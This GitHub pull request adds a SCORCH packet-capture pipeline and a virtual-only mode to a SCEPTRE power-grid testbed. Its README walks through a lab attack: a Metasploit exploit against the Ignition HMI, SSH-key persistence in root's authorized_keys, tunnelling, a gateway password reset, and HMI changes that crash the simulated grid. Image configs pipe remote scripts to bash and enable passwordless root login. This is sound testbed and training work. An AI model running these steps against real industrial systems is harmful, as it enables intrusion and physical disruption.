Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

soap-hil: add scorch demo and options to run without hardware #9

Open
wants to merge 2 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions soap-hil/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
Ignition*.run
125 changes: 102 additions & 23 deletions soap-hil/README.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,10 @@
This repository contains a topology to demonstrate the Hardware-In-the-Loop (HIL) capabilities of SCEPTRE. The topology is based on the original SOAP (SCEPTRE on a Platter) topology and underlying power model, simulated using PyPower. It includes the integration of a Siemens S7 PLC as HIL, functioning as a simple controller in the power model. This topology also still fully functions without HIL and can be used by selecting a second, "virtual only" control screen on the HMI.
This repository contains a topology to demonstrate the Hardware-In-the-Loop (HIL) capabilities of SCEPTRE. The topology is based on the original SOAP (SCEPTRE on a Platter) topology and underlying power model, simulated using PyPower. It includes the integration of a Siemens S7 PLC as HIL, functioning as a simple controller in the power model. _This topology also still fully functions without HIL and can be used by selecting a second, "virtual-only" control screen that is already included in the HMI configuration._

In addition to the topology, this repo includes a demo attack against the PLC to manipulate and destablize the power system model. Finally, a SCORCH pipeline is included in the scenario which can be used to capture raw PCAP to exportable files, and packet metadata (via filebeat and [Zeek](zeek.org)) to an elastic instance.

In addition to the topology, this repo includes a demo attack against the PLC to manipulate and destablize the power system model.

# Getting Started
Most of the software components of this SCEPTRE topology are contained in this repository, so `git clone` is sufficient to get them.
Most of the software components of this SCEPTRE topology are contained in this repository, so `git clone` is sufficient to get them. The file paths in the instructions and in the topology file assume this folder is located at `/phenix/topologies/soap-hil`


## Hardware
Expand Down Expand Up @@ -34,12 +35,12 @@ Additional documentation on using `phenix` can be found at https://sandialabs.gi


## Creating the SCEPTRE images.
Now that phenix & minimega are ready to go, it is time to prepare the Ignition, bennu, and kali images.
Now that phenix & minimega are ready to go, it is time to prepare the Ignition, bennu, and soaptools VM images.

### Ignition
#### Getting Ignition
Grab the Ignition 8.0.6 Linux 64-bit zip from https://inductiveautomation.com/downloads/archive/8.0.6
(You will have to sign up for a free Inductive Automation account)


#### Base image
Load the image config from this repo with the following command
Expand Down Expand Up @@ -72,9 +73,14 @@ _note that this boots the image directly (no snapshots) so that we can install i

NAMESPACE=minimega
NAME=test
SNAPSHOT=false # used in order to do base image setup
# used in order to do base image setup
# this makes changes persistent in the .qc2 image
SNAPSHOT=false
DISK=/phenix/images/ignition.qc2
MM="docker exec -it minimega minimega -e namespace $NAMESPACE

# execute minimega commands inside the minimega container
MM="docker exec -it minimega mm -e namespace $NAMESPACE"


set -e
set -x
Expand All @@ -99,65 +105,138 @@ Additionally, open a web browser (in the virtual machine), navigate to localhost
The instructions at [https://github.com/sandialabs/sceptre-phenix-images] are sufficient to build a vm image containing bennu.
This image should be placed at `/phenix/images/bennu.qc2`

### Kali
`phenix` includes a configuration for kali, which we will modify by installing the `python3-snap7` library used by one of the attacker scripts.
### Soaptools
The soaptools VM image is an ubuntu base image with additional tools installed:
- wireshark
- filebeat
- zeek
- msfconsole

First, load the image config from this repo with the following command

First, load the image config from this repo
```bash
phenix config create /phenix/topologies/soap-hil/image-configs/Image-kali-python.yml
phenix config create /phenix/topologies/soap-hil/image-configs/Image-ignition.yml
```

And build the updated image
```bash
phenix image build kali-python -c -x -o /phenix/images
phenix image build ubuntu-soaptools -c -x -o /phenix/images
```
Install the miniccc binary and service in the image
```bash
phenix image inject-miniexe /phenix/miniccc /phenix/images/kali-python.qc2
phenix image inject-miniexe /phenix/miniccc /phenix/images/ubuntu-soaptools.qc2
```



## Running the experiment

### HIL network setup
> _This step is not needed if your are running in virtual-only mode._

After completing all other steps, enter the topology directory and run `./expctl hil-network`.
This will setup minimega and the host so that the hardware can connect to the experiment.
This will setup minimega and the host so that the hardware can connect to the experiment.
_Note that you will need to update the interface name in this script to match the interface on your physical host where the PLC is connected._

### Netmonitor VM with Zeek
The netmonitor VM (based on ubuntu-soaptools) is what allows us to ingest all experiment traffic and route it into an elastic stack.
To configure, edit the netmonitor configs to meet your environment:
- `/phenix/topologies/soap-hil/injects/netmonitor/filebeat_zeek_module.yml` shouldn't require any changes with the base install script
- `/phenix/topologies/soap-hil/injects/netmonitor/zeek_node.cfg` may require that you edit the interface that zeek is listening on, this should be the interface that is the monitoring destination in the `monitor` app in the scenario (typically `eth1` in the VM)
- `/phenix/topologies/soap-hil/injects/netmonitor/filebeat.yml` will require elasticsearch and kibana node configuration for ingestion. Update the elastic and kibana IPs in this config file to point to your server. Due to the tap interface configured in the scenario file, the VMs should be able to reach elastic and kibana running outside of the experiment network, such as an instance running on the host machine

Note: The ```filebeat -e setup``` command sometimes stalls in the scorch run (below). If this is the case, cancel the scorch run and run it manually on the VM.

### `expctl`
The `expctl` script provides helper functions for starting and stopping the experiment, as well as refreshing when modified and adding a network tap to the host.
To start the experiment, run `./expctl start`, which will also refresh the experiment if it is already started.
To stop the experiment, run `./expctl stop`.
To create a network tap on the host that is connected to the experiment network, run `./expctl tap`.

### Running the attack
A sample 'attack' is implemented in the `plc-attack.py` script injected into the `kali` machine.
After launching the experiment, enter the `kali` machine and navigate to `/phenix/`.
The script is runnable with
```bash
python3 plc-attack.py <STARTUP_DELAY_SECONDS> <NUMBER_REPEATS>
```


### Is it working?
To make sure everything is working properly, enter the `ignition` machine and open the `Designer Launcher` application.
Login with the username/password chosen when installing Ignition, open the `satx` project, and open the `Main Window` view.
Login with the username/password chosen when installing Ignition, open the `satx` project, and open the `Main Window` view.
(If you are running without HIL, use the `soap-virt` view.)
Make this window fullscreen by pressing `F11` (You may need to enter the username/password again).

You should see a screen that looks like this:
![Ignition normally](img/ignition-normal.png)

Then run the attack as described above.
Then run the attack(s) as described below.
The output of the attack should be similar to what is seen in the following image
![Attack output](img/kali.png)

Navigate back to `ignition`.
The screen should now look like this:
![Ignition blacked out](img/ignition-blackout.png)

### Running an attack scenario
A sample 'attack' that changes setpoints on the Siemens PLC is implemented in the `plc-attack.py` script injected into the `attacker` machine.
After launching the experiment, enter the `attacker` machine and navigate to `/phenix/`.
The script is runnable with
```bash
python3 plc-attack.py <STARTUP_DELAY_SECONDS> <NUMBER_REPEATS>
```

### Running an attack scenario in virtual-only mode
A sample 'attack' is implemented through a few means to demonstrate SCEPTRE without a Hardware-In-The-Loop implementation.
1. After launching the experiment, enter the `attacker` machine and launch `msfconsole`
* Start by finding the applicable exploit `search ignition`
* Select the first exploit `use 3`
* Set the required options, the RHOSTS, LHOST, and PythonPath
```bash
set RHOSTS 10.117.4.70
set LHOST 10.117.4.169
set PythonPath python3
```
* Run the exploit `exploit`
2. Add ssh keys to maintain persistence
* On your host machine `ssh-keygen` to generate a new ssh key
* In your metasploit session use `echo '[SSH-KEY]' > /root/.ssh/authorized_keys (you may need to create the .ssh directory)
3. Use port forwarding to get ignition designer
* Use SSH to open a tunnel to the ignition machine `ssh [email protected] -L 9999:localhost:8088`
* Download the ignition designer from localhost:9999
4. Use your SSH session to restart the ignition password
* On the ssh session `gwcmd --passwd` and reset the gateway `gwcmd -r`
* Refresh your ignition webpage to reset the admin password
5. Connect to iginition HMI
* Log in to the Ignition Designer application
* Open the soap_hil-virt HMI
* Change random settings on the HMI to crash the Power system


### Scorch Test
To make sure that all images and scorch components are properly installed, navigate to the scorch page on phenix.
Start the scorch scenario, when it has pasued start up the ignition HMI and make sure data is ingesting into the HMI properly.
Enter the `exp-break` scorch component, and exit out of the terminal to continue the scorch deployment.
Check your elasticstack deployment to validate that zeek is ingesting packets properly.

## Scorch run example
1. When you are ready to begin an attack run, go to the Scorch tab for this experiment and click the red `Stopped` button to start a new run:
![alt text](img/scorch-start.png)
2. The Scorch pipeline should execute until you get to the `exp-break` breakpoint:
![alt text](img/scorch-break.png)
3. At this point you can execute one of the sample attacks described above.
4. When finished, open the `exp-break` breakpoint and exit the terminal to allow the pipeline to continue:

![alt text](img/scorch-break-exit.png)
5. At this point the pipeline should complete and you can go back to `Files` tab of the main experiment page to view and download artifacts from the Scorch run:
![alt text](img/scorch-artifacts.png)
6. If you have configured Elasticsearch/kibana, you can also view the captured packet metadata through the Kibana interface:
![alt text](img/kibana-packet-meta.png)


## Network Diagram
Here's a nice diagram of the machines in the experiment:

![Diagram](img/network.svg)

The yellow cloud is the EXP VLAN, and machines inside the cloud have their ipv4 addresses displayed.
Machines outside the cloud are not connected to the EXP VLAN, and communicate with the others over the MGMT VLAN instead.
The MGMT VLAN is not shown, but machine addresses can be seen in the `topology.yaml` file.

> This material is based upon work supported by the Department of Energy National Nuclear Security Administration (NNSA) Minority Serving Institution Partnership Program ([MSIPP](https://www.energy.gov/nnsa/nnsa-minority-serving-institution-partnership-program-msipp)) under award number 225221.

>This material was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor any agency thereof, nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial product, process, or service by trade name, trademark, manufacturer, or otherwise does not necessarily constitute or imply its endorsement, recommendation, or favoring by the United States Government or any agency thereof. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or any agency thereof."
7 changes: 2 additions & 5 deletions soap-hil/image-configs/Image-ignition.yml
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,6 @@ apiVersion: phenix.sandia.gov/v1
kind: Image
metadata:
name: ignition
created: "2024-01-05T10:12:55-06:00"
updated: "2024-02-08T12:25:55-06:00"
spec:
compress: true
deb_append: ' --components=main,restricted,universe,multiverse'
Expand Down Expand Up @@ -40,8 +38,7 @@ spec:
- python3-pycparser
- python3-cffi
- python3-cffi-backend
- falkon
- xubuntu-core
- xfce4
- xserver-xorg
- xserver-xorg-input-all
- xserver-xorg-video-qxl
Expand All @@ -66,7 +63,7 @@ spec:
deb http://us.archive.ubuntu.com/ubuntu jammy-security main restricted universe multiverse
EOF
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y xubuntu-core epiphany-browser
DEBIAN_FRONTEND=noninteractive apt-get install -y --install-recommends xubuntu-core epiphany-browser
POSTBUILD_NO_ROOT_PASSWD: |
sed -i 's/nullok_secure/nullok/' /etc/pam.d/common-auth
sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
Expand Down
Original file line number Diff line number Diff line change
@@ -1,16 +1,14 @@
apiVersion: phenix.sandia.gov/v1
kind: Image
metadata:
name: kali-python
created: "2022-08-16T13:47:20-05:00"
updated: "2024-02-06T16:07:27-06:00"
name: ubuntu-soaptools
spec:
compress: true
deb_append: ' --components=main,contrib,non-free'
deb_append: " --components=main,restricted,universe,multiverse"
format: qcow2
include_miniccc: false
include_protonuke: false
mirror: http://http.kali.org/kali
mirror: http://us.archive.ubuntu.com/ubuntu/
overlays: null
packages:
- initramfs-tools
Expand All @@ -22,33 +20,54 @@ spec:
- vim
- less
- netbase
- python3
- python3-pip
- python3-setuptools
- curl
- ifupdown
- dbus
- linux-image-amd64
- linux-headers-amd64
- default-jre
- kali-linux-core
- linux-image-generic
- linux-headers-generic
- xorg
- xinit
- dbus-x11
- libpython3-stdlib
- libexpat1
- zlib1g
- libc6
- python3-minimal
- python3
- python3-ply
- python3-pycparser
- python3-cffi
- python3-cffi-backend
- xfce4
- xserver-xorg
- xserver-xorg-input-all
- xserver-xorg-video-qxl
- xserver-xorg-video-vesa
- qemu-guest-agent

ramdisk: false
release: kali
release: jammy
script_order:
- POSTBUILD_APT_KALI
- POSTBUILD_GUI_AND_TOOLS
- POSTBUILD_FILEBEAT_INSTALL
- POSTBUILD_ZEEK_INSTALL
- POSTBUILD_MSFCONSOLE
- POSTBUILD_APT_CLEANUP
- POSTBUILD_PIP
- POSTBUILD_NO_ROOT_PASSWD
- POSTBUILD_PHENIX_HOSTNAME
- POSTBUILD_PHENIX_BASE
- POSTBUILD_APT_CLEANUP
- POSTBUILD_PIP_SNAP7
- POSTBUILD_NO_ROOT_PASSWD
scripts:
POSTBUILD_APT_CLEANUP: |
apt clean || apt-get clean || echo "unable to clean apt cache"
POSTBUILD_APT_KALI: |
export DEBIAN_FRONTEND=noninteractive
apt -y install kali-linux-core kali-desktop-xfce kali-tools-top10
POSTBUILD_GUI_AND_TOOLS: |
cat > /etc/apt/sources.list.d/updates.list <<EOF
deb http://us.archive.ubuntu.com/ubuntu jammy-backports main restricted universe multiverse
deb http://us.archive.ubuntu.com/ubuntu jammy-updates main restricted universe multiverse
deb http://us.archive.ubuntu.com/ubuntu jammy-security main restricted universe multiverse
EOF
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y --install-recommends xubuntu-core epiphany-browser wireshark-gtk python3-pip python-is-python3 micro
POSTBUILD_NO_ROOT_PASSWD: |
sed -i 's/nullok_secure/nullok/' /etc/pam.d/common-auth
sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
Expand Down Expand Up @@ -105,8 +124,21 @@ spec:

EOF
echo "\nBuilt with phenix image on $(date)\n\n" >> /etc/motd
POSTBUILD_PIP_SNAP7: |
pip3 install python-snap7 --break-system-packages
POSTBUILD_PIP: |
set -e
pip3 install python-snap7==1.3 dnp3-python==0.2.3b3
POSTBUILD_FILEBEAT_INSTALL: |
set -e
wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.17.21-amd64.deb
dpkg -i filebeat-7.17.21-amd64.deb
POSTBUILD_ZEEK_INSTALL: |
set -e
echo 'deb http://download.opensuse.org/repositories/security:/zeek/xUbuntu_22.04/ /' | tee /etc/apt/sources.list.d/security:zeek.list
curl -fsSL https://download.opensuse.org/repositories/security:zeek/xUbuntu_22.04/Release.key | gpg --dearmor | tee /etc/apt/trusted.gpg.d/security_zeek.gpg > /dev/null
apt update
DEBIAN_FRONTEND=noninteractive apt install zeek-6.0 -y
POSTBUILD_MSFCONSOLE: |
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb | bash

size: 50G
skip_default_packages: false
variant: minbase
Binary file added soap-hil/img/kibana-packet-meta.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added soap-hil/img/scorch-artifacts.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added soap-hil/img/scorch-break-exit.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added soap-hil/img/scorch-break.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added soap-hil/img/scorch-start.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading